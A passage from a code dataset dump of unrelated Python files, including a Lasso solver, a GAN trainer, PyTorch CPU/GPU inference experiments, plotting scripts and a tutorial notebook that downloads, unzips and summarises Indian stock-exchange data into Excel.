regularization terms which will be tested by this solver.\n            cross_validation_folds(int): The number of cross-validation folds used in this solver.\n\n        \"\"\"\n        super(_SkLearnLassoSolver, self).__init__(data_features, output_samples, n_alphas, cross_validation_folds)\n        self._model = LassoCV(cv=cross_validation_folds, n_alphas=n_alphas, random_state=_rnd, normalize=False)\n\n    def fit(self):\n        \"\"\"\n        The method which fits the requested model to the given data.\n        \"\"\"\n        self._model.fit(self._data_features, self._output_samples)\n        self._fitted_coefficients = self._model.coef_\n        return self._fitted_coefficients\n\n\n_caratheodory_boosted_lasso_regression: Callable = caratheodory_booster(_SkLearnLassoSolver, perform_normalization=True)\n\n# A private dictionary used for creating the solvers factory :func:`get_method`.\n_lasso_regressions_methods: Dict[str, Callable] = {\n    LassoRegressionMethods.SkLearnLassoRegression: _SkLearnLassoSolver,\n    LassoRegressionMethods.BoostedLassoRegression: _caratheodory_boosted_lasso_regression\n}\n\n# A factory which creates the requested Lasso-Regression solvers.\nget_method: Callable = create_factory(_lasso_regressions_methods, are_methods=True)\n","sub_path":"ComparedAlgorithms/lasso_regression.py","file_name":"lasso_regression.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}
+{"seq_id":"196965729","text":"import os\n\nfrom machine import SD\n\n\ndef init():\n    sd = SD()\n    os.mount(sd, '/sd')\n    print(os.listdir('/sd'))\n\n\nlight = 0\ntime = 1\ntemperature = 2\n\n\ndef save(dataString, dataType):\n    path = getPath(dataType)\n    f = open(path, 'w')\n    print(\"writing \" + path + \", data: \" + dataString)\n    f.write(dataString)\n    f.close()\n\n\ndef getPath(dataType):\n    path = \"\"\n    if dataType == 0:\n        path = \"light\"\n    elif dataType == 1:\n        path = \"time\"\n    elif dataType == 2:\n        path = \"temp\"\n    path = '/sd/' + path + '.txt'\n    return path\n\n\ndef getData(dataType):\n    path = getPath(dataType)\n    f = open(path, 'r')\n    out = f.readall()\n    f.close()\n    return out\n","sub_path":"LoPy/lopyB/lib/sd.py","file_name":"sd.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}
+{"seq_id":"162968242","text":"import pandas as pd\nfile= pd.read_excel('dataNew.xls')\nprint(file)\n\nfiles=file['Period'].str.split(' ',n=1,expand=True)\nprint(files)\n\nfile= file.assign(year=files[1])\n\nfile.index=file['year']\ndel file['year']\nprint(file.index)\n\nsetA=file.head(11)\nprint(setA)\n\nsetB=file.iloc[11:21]\nprint(setB)\n\nsetC=file.tail(10)\nprint(setC)\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nps =setA['Calories'].sort_values()\nindex=np.arange(len(ps.index))\nplt.bar(ps.index, ps.values)\nplt.xlabel(\"Year\", fontsize=17)\nplt.ylabel(\"No. of calories\",fontsize=17)\nplt.xticks(index, ps.index, fontsize=14)\nplt.title(\"[1900-1910]\",fontsize=17)\nplt.show();\n\nps =setB['Calories'].sort_values()\nindex=np.arange(len(ps.index))\nplt.bar(ps.index, ps.values)\nplt.xlabel(\"Year\", fontsize=17)\nplt.ylabel(\"No. of calories\",fontsize=17)\nplt.xticks(index, ps.index, fontsize=14)\nplt.title(\"[1910-1920]\",fontsize=17)\nplt.show();\n\nps =setC['Calories'].sort_values()\nindex=np.arange(len(ps.index))\nplt.bar(ps.index, ps.values)\nplt.xlabel(\"Year\", fontsize=17)\nplt.ylabel(\"No. of calories\",fontsize=17)\nplt.xticks(index, ps.index, fontsize=14)\nplt.title(\"[1920-1930]\",fontsize=17)\nplt.show();\n\nsetAsum=sum(setA['Calories'])\nprint(round(setAsum))\n\nsetBsum=sum(setB['Calories'])\nprint(round(setBsum))\n\nsetCsum=sum(setC['Calories'])\nprint(round(setCsum))\n\nsetAmean=setAsum/len(setA[\"Calories\"])\nprint(round(setAmean,2))\n\nsetBmean=setBsum/len(setB[\"Calories\"])\nprint(round(setBmean,2))\n\nsetCmean=setCsum/len(setC[\"Calories\"])\nprint(round(setCmean,2))\n","sub_path":"MyProgram.py","file_name":"MyProgram.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}
+{"seq_id":"566861881","text":"\"\"\"\nBase datum widgets\n\"\"\"\n\n# Standard library modules.\nimport os\n\n# Third party modules.\nimport qtpy\nfrom qtpy.QtCore import Qt\nfrom qtpy.QtWidgets import \\\n    QWidget, QVBoxLayout, QTableView, QHeaderView, QSizePolicy\n\nimport matplotlib.backends.backend_qt5agg as mbackend #@UnusedImport\nfrom matplotlib.figure import Figure\nFigureCanvas = mbackend.FigureCanvasQTAgg\nNavigationToolbar = mbackend.NavigationToolbar2QT\n\n# Local modules.\n\n# Globals and constants variables.\n\nclass _DatumWidget(QWidget):\n\n    def __init__(self, clasz, controller, datum=None, parent=None):\n        QWidget.__init__(self, parent)\n\n        name = clasz.TEMPLATE\n        if clasz.CLASS is not None:\n            name += ' (%s)' % clasz.CLASS\n        self.setAccessibleName(name)\n\n        # Variables\n        self._class = clasz\n        self._controller = controller\n\n        # Layouts\n        layout = QVBoxLayout()\n        layout.addLayout(self._init_ui()) # Initialize widgets\n        self.setLayout(layout)\n\n        # Defaults\n        self.setDatum(datum)\n\n    def _init_ui(self):\n        return QVBoxLayout()\n\n    def setDatum(self, datum):\n        \"\"\"\n        Sets the datum. Note that ``datum`` could be ``None``.\n        \"\"\"\n        pass\n\n    @property\n    def CLASS(self):\n        return self._class\n\n    @property\n    def controller(self):\n        return self._controller\n\nclass _DatumTableWidget(_DatumWidget):\n\n    def __init__(self, clasz, controller, datum=None, parent=None):\n        _DatumWidget.__init__(self, clasz, controller, datum, parent)\n\n    def _init_ui(self):\n        # Widgets\n        self._table = QTableView()\n\n        header = self._table.horizontalHeader()\n        mode = QHeaderView.Stretch\n        header.setSectionResizeMode(mode)\n\n        # Layouts\n        layout = _DatumWidget._init_ui(self)\n        layout.addWidget(self._table)\n\n        return layout\n\n    def _create_model(self, datum):\n        raise NotImplementedError\n\n    def setDatum(self, datum):\n        _DatumWidget.setDatum(self, datum)\n\n        if datum is not None:\n            model = self._create_model(datum)\n        else:\n            model = None\n        self._table.setModel(model)\n\nclass _DatumFigureWidget(_DatumWidget):\n\n    def __init__(self, plot_class, datum_class, controller, datum=None, parent=None):\n        # Variable\n        self._plot_class = plot_class\n        self._datum = datum\n\n        _DatumWidget.__init__(self, datum_class, controller, datum, parent)\n\n    def _init_ui(self):\n        # Figure\n        self._fig = self._create_figure()\n        self._ax = self._create_axes(self._fig)\n\n        # Widgets\n        self._canvas = FigureCanvas(self._fig)\n        self._canvas.setFocusPolicy(Qt.StrongFocus)\n        self._canvas.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n        self._canvas.updateGeometry()\n\n        self.toolbar = self._create_toolbar(self._canvas)\n\n        # Layouts\n        layout = _DatumWidget._init_ui(self)\n        layout.addWidget(self._canvas)\n        layout.addWidget(self.toolbar)\n\n        return layout\n\n    def _create_figure(self):\n        return Figure()\n\n    def _create_axes(self, fig):\n        return fig.add_subplot(\"111\")\n\n    def _create_toolbar(self, canvas):\n        return NavigationToolbar(canvas, self.parent())\n\n    def _create_plot(self):\n        return self._plot_class()\n\n    def _update_plot(self, draw=True):\n        datum = self._datum\n        self._ax.clear()\n\n        if datum is not None:\n            plot = self._create_plot()\n            plot.plot(datum, ax=self._ax)\n\n        if draw:\n            self._canvas.draw()\n\n    def setDatum(self, datum):\n        _DatumWidget.setDatum(self, datum)\n        self._datum = datum\n        self._update_plot()\n","sub_path":"pyhmsa_gui/spec/datum/datum.py","file_name":"datum.py","file_ext":"py","file_size_in_byte":3721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}
+{"seq_id":"89136983","text":"import torch\nfrom torch import nn\nfrom torchvision import transforms, datasets\nfrom torchvision.utils import save_image\nimport os\nfrom nets import CDNet, CGNet\nfrom torch.utils.data import DataLoader\n\n\nclass Trainer:\n    def __init__(self, save_net_path, save_img_path, dataset_path):\n        self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n        self.save_net_path = save_net_path\n        self.save_img_path = save_img_path\n        self.d_net = CDNet().to(self.device)\n        self.g_net = CGNet().to(self.device)\n        self.trans = transforms.ToTensor()\n        self.train_data = DataLoader(datasets.MNIST(dataset_path, transform=self.trans, train=True, download=False),\n                                     batch_size=100, shuffle=True)\n        self.loss_fn = nn.BCELoss()\n        self.g_net_optimizer = torch.optim.Adam(self.g_net.parameters(), lr=0.0002, betas=(0.5, 0.999))\n        self.d_net_optimizer = torch.optim.Adam(self.d_net.parameters(), lr=0.0002, betas=(0.5, 0.999))\n        if os.path.exists(os.path.join(self.save_net_path, \"d_net.pth\")):\n            self.d_net.load_state_dict(torch.load(os.path.join(self.save_net_path, \"d_net.pth\")))\n            self.g_net.load_state_dict(torch.load(os.path.join(self.save_net_path, \"g_net.pth\")))\n        self.d_net.train()\n        self.g_net.train()\n\n    def train(self):\n        epoch = 1\n        d_loss_new = 100000\n        g_loss_new = 100000\n        while True:\n            for i, (real_image, label) in enumerate(self.train_data):\n                real_image = real_image.to(self.device)\n                real_label = torch.zeros(label.size(0), 10).scatter_(1, label.reshape(label.size(0), -1), 1).to(\n                    self.device)\n                fake_label = torch.zeros(real_image.size(0), 10).to(self.device)\n\n                d_real_out = self.d_net(real_image)\n                d_loss_real = self.loss_fn(d_real_out, real_label)\n\n                z = torch.randn(real_image.size(0), 138).to(self.device)\n                d_fake_img = self.g_net(z)\n                d_fake_out = self.d_net(d_fake_img)\n                d_loss_fake = self.loss_fn(d_fake_out, fake_label)\n\n                # 训练判别器\n                d_loss = d_loss_real + d_loss_fake\n                self.d_net_optimizer.zero_grad()\n                d_loss.backward()\n                self.d_net_optimizer.step()\n\n                # 训练生成器,重新从正太分别取数据提高多样性\n                z = torch.randn(real_image.size(0), 128).to(self.device)\n                z = torch.cat((z, real_label), dim=1).to(self.device)\n\n                g_fake_img = self.g_net(z)\n                g_fake_out = self.d_net(g_fake_img)\n                g_loss = self.loss_fn(g_fake_out, real_label)\n                self.g_net_optimizer.zero_grad()\n                g_loss.backward()\n                self.g_net_optimizer.step()\n\n                if i % 10 == 0:\n                    print(\"epoch:{},i:{},d_loss{:.6f},g_loss:{:.6f},\"\n                          \"d_real:{:.3f},d_fake:{:.3f}\".format(epoch, i, d_loss.item(), g_loss.item(),\n                                                               d_real_out.detach().mean(), d_fake_out.detach().mean()))\n                    save_image(real_image, \"{}/{}-{}-real_img.jpg\".format(self.save_img_path, epoch, i), 10)\n                    save_image(g_fake_img, \"{}/{}-{}-fake_img.jpg\".format(self.save_img_path, epoch, i), 10)\n\n                if d_loss.item() < d_loss_new:\n                    d_loss_new = d_loss.item()\n                    torch.save(self.d_net.state_dict(), os.path.join(self.save_net_path, \"d_net.pth\"))\n\n                if g_loss.item() < g_loss_new:\n                    g_loss_new = g_loss.item()\n                    torch.save(self.g_net.state_dict(), os.path.join(self.save_net_path, \"g_net.pth\"))\n            epoch += 1\n\n\nif __name__ == '__main__':\n    trainer = Trainer(\"models_c_gan/\", \"images_c_gan/\", \"datasets/\")\n    trainer.train()\n","sub_path":"c_gan_trainer.py","file_name":"c_gan_trainer.py","file_ext":"py","file_size_in_byte":3967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}
+{"seq_id":"407124971","text":"# pytorch basic classification \n# Fashion mnist data set\n\nimport torchvision\nimport torchvision.transforms as transforms\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nimport platform\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nimport time\nfrom torch.multiprocessing import Process, Queue\n\nlabel_tags = {\n    0: 'T-Shirt', \n    1: 'Trouser', \n    2: 'Pullover', \n    3: 'Dress', \n    4: 'Coat', \n    5: 'Sandal', \n    6: 'Shirt',\n    7: 'Sneaker', \n    8: 'Bag', \n    9: 'Ankle Boot' }\n    \ntest_batch_size=1000\ncolumns = 6\nrows = 6\n\n# CPU and MAIN\nclass Net(nn.Module):\n    def __init__(self, shared_queue):\n        super(Net, self).__init__()\n        self.conv1 = nn.Conv2d(1, 2, 5) #in, out, filtersize\n        self.pool = nn.MaxPool2d(2, 2) #2x2 pooling\n        self.conv2 = nn.Conv2d(10, 6, 5)\n        self.fc1 = nn.Linear(30 * 4 * 4, 1000)\n        self.fc2 = nn.Linear(1000, 10)\n        self.fc3 = nn.Linear(100,10)\n        self.q = shared_queue\n    \n    def forward(self, x):\n        x = self.conv1(x)\n        print(\"cpu에서 기다리는 중\")\n        y = self.q.get(True, None).to(\"cpu\")\n        x = torch.cat((x,y), 1)\n        x = F.relu(x)\n        x = self.pool(x)\n        self.q.put(x)\n        x = self.conv2(x)\n        print(\"cpu 두번째 단계에서 기다리는 중\")\n        y = self.q.get(True, None).to(\"cpu\")\n        x = torch.cat((x,y),1)\n        x = F.relu(x)\n        x = self.pool(x)\n        x = x.view(-1, 30 * 4 * 4)\n        x = self.fc1(x)\n        x = F.relu(x)\n        x = self.fc2(x)\n        self.q.put(x)\n        return x\n\n# CUDA \nclass Net2(nn.Module):\n    def __init__(self, shared_queue):\n        super(Net2, self).__init__()\n        self.conv1 = nn.Conv2d(1, 8, 5) #in, out, filtersize\n        self.pool = nn.MaxPool2d(2, 2) #2x2 pooling\n        self.conv2 = nn.Conv2d(10, 24, 5)\n        self.fc1 = nn.Linear(30 * 4 * 4, 1000)\n        self.fc2 = nn.Linear(1000, 10)\n        self.fc3 = nn.Linear(100,10)\n        self.q = shared_queue\n    \n    def forward(self, x):\n        x = self.conv1(x)\n        self.q.put(x)\n        print(\"cuda에서 인풋 넣음\")\n        x = self.q.get(True,None).to(\"cuda\")\n        x = self.conv2(x)\n        self.q.put(x)\n        print(\"cuda에서 두번째 인풋 넣음\")\n        x = self.q.get(True, None).to(\"cuda\")\n        print(\"cuda 마지막 단계 x shape : \", x.shape)\n        return x\n\n\ndef inference(model, testset, device, q):\n    fig = plt.figure(figsize=(10,10))\n    plt.title(device, pad=50)\n    for i in range(1, columns*rows+1):\n        data_idx = np.random.randint(len(testset))\n        if q.empty():\n            print(device, \"에서 첫인풋 넣음\")\n            q.put(data_idx)\n        else:\n            print(device, \"에서 첫인풋 받음\")\n            data_idx = q.get(True, None)\n        input_img = testset[data_idx][0].unsqueeze(dim=0).to(device) \n        output = model(input_img)\n        _, argmax = torch.max(output, 1)\n        pred = label_tags[argmax.item()]\n        label = label_tags[testset[data_idx][1]]\n        \n        fig.add_subplot(rows, columns, i)\n        if pred == label:\n            plt.title(pred + ', right !!')\n            cmap = 'Blues'\n        else:\n            plt.title('Not ' + pred + ' but ' +  label)\n            cmap = 'Reds'\n        plot_img = testset[data_idx][0][0,:,:]\n        plt.imshow(plot_img, cmap=cmap)\n        plt.axis('off')\n    plt.show() \n\ndef my_run(model, testset, device, pth_path, q):\n    model.load_state_dict(torch.load(pth_path), strict=False) \n    model.eval()\n    inference(model, testset, device, q)\n\n\ndef main():\n    q = Queue()\n    idx_q = Queue()\n    epochs = 3\n    learning_rate = 0.001\n    batch_size = 32\n    test_batch_size=16\n    log_interval =100\n    cpu_pth_path = \"/home/yoon/Yoon/pytorch/research/part_train/cpu.pth\"\n    gpu_pth_path = \"/home/yoon/Yoon/pytorch/research/part_train/gpu.pth\"\n\n    #print(torch.cuda.get_device_name(0))\n    print(torch.cuda.is_available())\n    use_cuda = torch.cuda.is_available()\n    print(\"use_cude : \", use_cuda)\n\n    #device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n    device1 = \"cpu\"\n    device2 = \"cuda\"\n\n    nThreads = 1 if use_cuda else 2 \n    if platform.system() == 'Windows':\n        nThreads =0 #if you use windows\n  \n    transform = transforms.Compose(\n        [transforms.ToTensor(),\n        transforms.Normalize((0.5,), (0.5,))])\n\n    # datasets\n    testset = torchvision.datasets.FashionMNIST('../data',\n        download=True,\n        train=False,\n        transform=transform)\n\n    test_loader = torch.utils.data.DataLoader(testset, batch_size=test_batch_size,\n                                            shuffle=False, num_workers=nThreads)\n\n    \n    # constant for classes\n    classes = ('T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',\n            'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle Boot')\n\n    # model\n    model1 = Net(q).to(device1)\n    model1.share_memory()    # imshow example\n    model2 = Net2(q).to(device2)\n    model2.share_memory()\n    \n    # Freeze model weights\n    for param in model1.parameters():  # 전체 layer train해도 파라미터 안바뀌게 프리징\n        param.requires_grad = False\n    for param in model2.parameters():  # 전체 layer train해도 파라미터 안바뀌게 프리징\n        param.requires_grad = False\n\n    proc1 = Process(target=my_run, args=(model1, testset, device1, cpu_pth_path, idx_q))\n    proc2 = Process(target=my_run, args=(model2, testset, device2, gpu_pth_path, idx_q))\n    \n    num_processes = (proc2, proc1) \n    processes = []\n    \n    for procs in num_processes:\n        procs.start()\n        processes.append(procs)\n\n    for proc in processes:\n        proc.join()\n\nif __name__ == '__main__':\n    torch.multiprocessing.set_start_method('spawn')# good solution !!!\n    main()\n","sub_path":"part_train_Queue1/2cpu_8gpu_infereence.py","file_name":"2cpu_8gpu_infereence.py","file_ext":"py","file_size_in_byte":5820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}
+{"seq_id":"351788139","text":"from subprocess import Popen, PIPE\nimport pandas as pd\nimport glob\n\ngpPATH = 'C:\\\\Users\\\\Kosuke\\\\Desktop\\\\gnuplot\\\\bin\\\\gnuplot.exe'\n\ncommand = '''\nset size ratio 1.3;\nset xr[139.4:140.3];\nset yr[34.85:35.75];\nset datafile separator \",\";\nplot 'C:\\\\Users\\\\Kosuke\\\\Desktop\\\\Data\\\\python\\\\CoastLine_Tokyobay.csv' with line linetype 8 notitle;\nreplot 'C:\\\\Users\\\\Kosuke\\\\Desktop\\\\Data\\\\python\\\\Uraga.csv' with line linetype 8 notitle;\n'''\ncommand2 = '''\nreplot \\'C:{0}\\' using 6:5 with line notitle;\n'''\ncommand3 = '''\npause -1;\n'''\ncommand4 = '''\nreplot \\'C:{0}\\' using 6:5 with line notitle;\n'''\n\np = Popen(gpPATH, stdin=PIPE)\np.stdin.write(command.encode('sjis'))\n\nmax = 10\ni = 0\n\nfor file in glob.glob('\\\\Users\\\\Kosuke\\\\Desktop\\\\InterpolationData\\\\*'):\n    i += 1\n    if i != max:\n        p.stdin.write(command2.format(file).encode('sjis'))\n    else:\n        p.stdin.write(command4.format(file).encode('sjis'))\n\n\np.stdin.write(command3.encode('sjis'))\n","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}
+{"seq_id":"384990821","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 27 20:53:18 2017\n\n@author: Michael\n\"\"\"\n\nimport cv2\n\nOUTPUTBASE = 'E:/300VW_Dataset_2015_12_14/512/'\n\ncount = 1\nimg1 = cv2.imread(OUTPUTBASE + \"/vid/%06d.png.isomap.png\" % count)\nheight , width , layers =  img1.shape\nprint(height)\nprint(width)\nvidwrite = cv2.VideoWriter(OUTPUTBASE + '/out_vid.avi', -1, 20, (width,height))\n\nwhile count < 500:\n    image = cv2.imread(OUTPUTBASE + \"/vid/%06d.png.isomap.png\" % count)\n    vidwrite.write(image)\n    count += 1\n    \ncv2.destroyAllWindows()\nvidwrite.release()","sub_path":"create_video_from_isoimage.py","file_name":"create_video_from_isoimage.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}
+{"seq_id":"326935601","text":"\n# coding: utf-8\n\n# In[1]:\n\n########################################################\n# Step 1: Download\n#######################################################\n\n#import some standard modules we can use to download URLs\n\n\nimport urllib.request\n\n\n\n# initialize a variable with the URL to download, from the website\n# of the National Stock Exchange of India, which publishes each day a \n# bunch of interesting market data\nurlOfFileName = \"http://www.nseindia.com/content/historical/EQUITIES/2015/JUL/cm17JUL2015bhav.csv.zip\"\n\nurlOfFileName\n\n\n# In[2]:\n\n# initialize a variable with the local file in which to store the URL\n# (this is a path on my local desktop)\nlocalZipFilePath = \"/Users/swethakolalapudi/Desktop/cm17JUL2015bhav2.csv.zip\"\n\nlocalZipFilePath\n\n# Now a bit of boilerplate code to actually download the file. The website\n# of the NSE does not like bots (automated scripts) that attempt to scrape\n# data from it, so it will block scripts unless they have something called\n# the user-agent property set in their HTTP headers. Don't worry too much\n# about what this boilerplate code means, just go along with it:)\n\nhdr = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',\n      'Accept': 'text/html, application/xhtml+xml,application/xml;q=0.9,*/*q=0.8',\n       'Accept-Charset':'ISO-8859-1;utf-8,q=0.7,*;q=0.3',\n       'Accept-Encoding':'none',\n       'Accept-Language':'en-US,en;q=0.8',\n       'Connection':'keep-alive'\n      }\n\n\nhdr\n\n\n# In[6]:\n\n# Now for the code that actually downloads the page and stores to file\n\n# Make the web request - just use a web browser like Mozilla or Chrome would\n# This is where the strange boilerplate code that we just typed out comes in handy\nwebRequest = urllib.request.Request(urlOfFileName,headers=hdr)\n\n# Doing stuff with files is quite error-prone, so let's be careful and \n# use try/except as safety nets\ntry:\n    # note that we are now inside the try loop, as the indentation shows\n    page = urllib.request.urlopen(webRequest)\n    # save the contents of this page into a variable called 'content'\n    # These contents are literally the zip file from the URL (i.e. what \n    # we got when we just downloaded the file manually\n    content = page.read()\n    # Now save the contents of the zip file to disk locally\n    # 1. Open the file (barrel)\n    output = open(localZipFilePath,\"wb\")\n    # the 'w' indicates that we intend to write, i.e. put stuff into the \n    # barrel. the 'b' indicates that this is a binary (not a text) file\n    output.write(bytearray(content))\n    # 2. In the line above, we actually write contents to the file. \n    # Note how the function bytearray - from python's libraries - \n    # knows how to convert this binary file into a bytearray that can\n    # be written to file.\n    output.close()\n    # 3. The barrel (i.e. the file) is closed, sealed shut\nexcept(urllib.request.HTTPError, e):\n    # we are now in the 'except' portion of the try/except block. This\n    # code will be executed only if an exception is thrown in the try block\n    # i.e. if something goes wrong. \n    # Note how we specifically 'handle' exceptions of the type HTTPError\n    print(e.fp.read())\n    print(\"Looks like the file download did not go through, for url = \",urlOfFileName)\n\n\n# In[8]:\n\n####################################################################\n# Step 2: Unzip the downloaded file and extract\n####################################################################\n\nimport zipfile, os\n#initialize a variable with the local directory in which to extract\n# the zip file above\nlocalExtractFilePath = \"/Users/swethakolalapudi/Desktop/\"\n\n\n\n# check if the zip file above was downloaded successfully..if\n# not, there is little point in trying to extract!\nif os.path.exists(localZipFilePath):\n    # we are inside the conditional, i.e. this code is indented\n    # because it will only be executed if the condition is true,\n    # i.e. if 'os.path.exists(localZipFilePath)' returns True\n    print(\"Cool!\" + localZipFilePath + \" exists..proceeding\")\n    # A zip file can contain any number of files, we don't know\n    # how many upfront - so initialize an empty array in which to save\n    # the names of the files\n    listOfFiles = []\n    # Open the barrel, i.e. the zip file.\n    fh = open(localZipFilePath,'rb')\n    # Note the 'rb' above .. the 'r' signifies that we will read,\n    # and the 'b' that this is a binary file.\n    # Recall that binary files - unlike text files - need handlers\n    # that know what to do with them - that is exactly what we will\n    # use the zipfile library for.\n    zipFileHandler = zipfile.ZipFile(fh)\n    # zipFileHandler knows how to read the list of zipped up files \n    # Iterate over that list in a for-loop. \n    for filename in zipFileHandler.namelist():\n        # the indentation has changed again - we are inside the for\n        # loop, and the iterator variable is 'filename'\n        zipFileHandler.extract(filename,localExtractFilePath)\n        # let's add this to the list of files we have extracted\n        listOfFiles.append(localExtractFilePath + filename)\n        print(\"Extracted \" + filename + \" from the zip file to \" + (localExtractFilePath + filename))\n    # we are outside the for-loop now, hence the unindent\n    print(\"In total, we extracted \", str(len(listOfFiles)), \" files\")\n    fh.close()\n    # Don't forget to close the file, ie to seal the barrel!\n        \n\n\n# In[10]:\n\n###################################################################\n# Step 3: Parse the extracted CSV and create a table of stock info\n###################################################################\n\nimport csv\n# import the CSV module, which knows how to do stuff with CSV files\n# (Aside: CSV = Comma-Separated-Values, a file format in which each\n# line is a list of values separated by commas). We need a handler \n# because there are edge cases (for instance cell values themselves\n# containing commas) that the module knows how to handle.\noneFileName = listOfFiles[0]\n# we know that the zip file downloaded has only file that we care about\n# so access it using the indexing operator. Remember of course that\n# arrays are indexed from zero.\nlineNum = 0\n# Keep a list of lists in which to store the output. For each stock,\n# we care about a. how much that stock moved today (% change versus\n# yesterday) and b. how heavily the stock was traded (the value that\n# changed hands today)\nlistOfLists = []\n# THis variable above will track the 3 columns we care about:\n# ticker, % change and value traded\nwith open(oneFileName,'r') as csvfile:\n    # note that the indent changed because of the 'with' operator\n    # 'with' is a super-powerful construct that allows us to open a \n    # file and do stuff with it, and not worry about explicitly \n    # opening and closing the file. When the with block opens,\n    # the file is explicitly opened, and when the with block ends,\n    # the file is implicitly closed. BTW, note that the 'rb' indicates\n    # that we only plan to read the file, and that we will use a handler\n    # (which in this case is the csv library we imported above)\n    lineReader = csv.reader(csvfile,delimiter=\",\",quotechar=\"\\\"\")\n    # The CSV handler (the csv.reader function) knows how to read\n    # a csv file, 1 line at a time. This handler needs 2 bits of info\n    # from us: (a) what delimiters are used to separate cell values (in\n    # our case, and with all csvs, it is the ',' character) and (b) how\n    # cell values that contain the separator will be special-cased. \n    # this is done in most csv files using quotes. Thus, if a cell inside\n    # the file itself contains a comma, the entire cell value will be in\n    # quotes.\n    for row in lineReader:\n        # the linereader can be iterated over, one line at a time\n        lineNum = lineNum + 1\n        # what line are we on? keep track so we can skip the header\n        if lineNum == 1:\n            print(\"Skipping the header row\")\n            continue\n            # remember that continue will skip to the next line\n            # in the for loop\n        # Ok! Everything in life is a list. The CSV file is a list of \n        # lines, and each line is a list of words. We know from the \n        # header that:\n        # column 1 (index = 0) is the stock ticker\n        # column 6 (index = 5) is the last closing price\n        # column 8 (index = 7) has yesterday's last closing price\n        # column 10 (index = 9) has the traded value in India Rupees\n        symbol = row[0]\n        close = row[5]\n        prevClose = row[7]\n        tradedQty = row[9]\n        pctChange = float(close)/float(prevClose) - 1\n        oneResultRow = [symbol,pctChange,float(tradedQty)]\n        # oneResulRow will look like this: ['SBI',0.034,100000.0]        \n        listOfLists.append(oneResultRow)\n        # listOfLists will look like this:\n        # [ ['SBI',0.034,100000.0]  , ['AXISBANK',0.056,800900.0]   ]\n        # we got hold of all the quantities that we care about for \n        # each stock, and created one row that we added into our\n        # running result\n        print(symbol, \"{:,.1f}\".format(float(tradedQty)/1e6) + \"M INR\", \"{:,.1f}\".format(pctChange*100)+\"%\")\n    # the indent has changed, we are out of the for loop, but the \n    # last line of the for loop prints out a nicely formatted message.\n    # Note that the \"{:,.1f}\".format helps to print nice comma-separated\n    # numbers\n    # btw, note that when we exit the with block, the file is automatically\n    # closed\n    print(\"Done iterating over the file contents - the file is closed now!\")\n    print(\"We have stock info for \" + str(len(listOfLists)) + \" stocks\")\n\n\n# In[11]:\n\n####################################################################\n# Step 4: Sort the list of lists!\n####################################################################\n\n# we have spent a lot of time talking about the power of for loops\n# but Python has something even more powerful that is actually the \n# 'idiomatic' Python way of doing stuff: lambda functions.\n\n# For now, let's just use a lambda function to sort our list of lists\n# we won't go into a whole lot of detail about what lambda functions are,\n# beyond saying that they are a way of saying 'Dear list, here is a function,\n# please apply this function to each element of yourself'\n\n# In general, in pure and true Python, the use of for loops is \n# minimized, and that of lambda functions is preferred. But our \n# objective in this class is to understand the basics of programming \n# via python, so we will continue with our way of doing stuff using \n# for loops\n\n# After that long segue, back to the task at hand of sorting a list \n# of lists. \nlistOfListsSortedByQty = sorted(listOfLists, key=lambda x:x[2], reverse=True)\n# Here we sort the list of lists by column 3 (index = 2). The \n# reverse = True means that sort will be descending\nlistOfListsSortedByQty = sorted(listOfLists, key=lambda x: x[1], reverse=True)\n\n\nlistOfListsSortedByQty\n\n\n# In[12]:\n\n########################################################################\n# Step 5: Write out an excel file with the summary of the top movers,\n# and most heavily traded files\n########################################################################\n\nimport xlsxwriter\n# import the xlsxwriter library which does all the magic\n\nexcelFileName = \"/Users/swethakolalapudi/cm17JUL2015bhav.xlsx\"\n# Initialize a variable with the name of the excel file we will create\n\nworkbook = xlsxwriter.Workbook(excelFileName)\n# create a workbook. THis is analogous to opening the barrel\nworksheet = workbook.add_worksheet(\"Summary\")\n# create a worksheet (empty) named 'Summary'\n\nworksheet.write_row(\"A1\",[\"Top Traded Stocks\"])\nworksheet.write_row(\"A2\",[\"Stock\",\"% Change\",\"Value Traded (INR)\"])\n# the way to write stuff into the excel is by specifying\n# a. the cell address eg \"A1\", in the standard excel format\n# b. the list of values to be written, 1 per cell starting from that address\n\n\n# Let's write out the 5 most heavily traded stocks\n# we already have the stocks sorted by how much they were traded\n# in the list of the first 5 numbers, starting from 0\n# Do this using the range function. range(5) is python shorthand\n# for a list of the first 5 numbers, starting from 0\n# Thus, range(5) == [0,1,2,3,4]\n# Set up a for loop over this list - the iterator variable is \n# called rowNum\nfor rowNum in range(5):\n    # get the corresponding row from our sorted result\n    oneRowToWrite = listOfListsSortedByQty[rowNum]\n    # write this out to the excel spreadsheet\n    # while doing this, remember to add 1 to the row number\n    # why? because Excel arrays are indexed from 1 while python\n    # arrays are indexed from 0\n    worksheet.write_row(\"A\" + str(rowNum + 3), oneRowToWrite)\n# as the changed indentation tells us, we are done with the for loop\n# Close the file (ie seal the barrel!)\nworkbook.close()\n\n\n# In[ 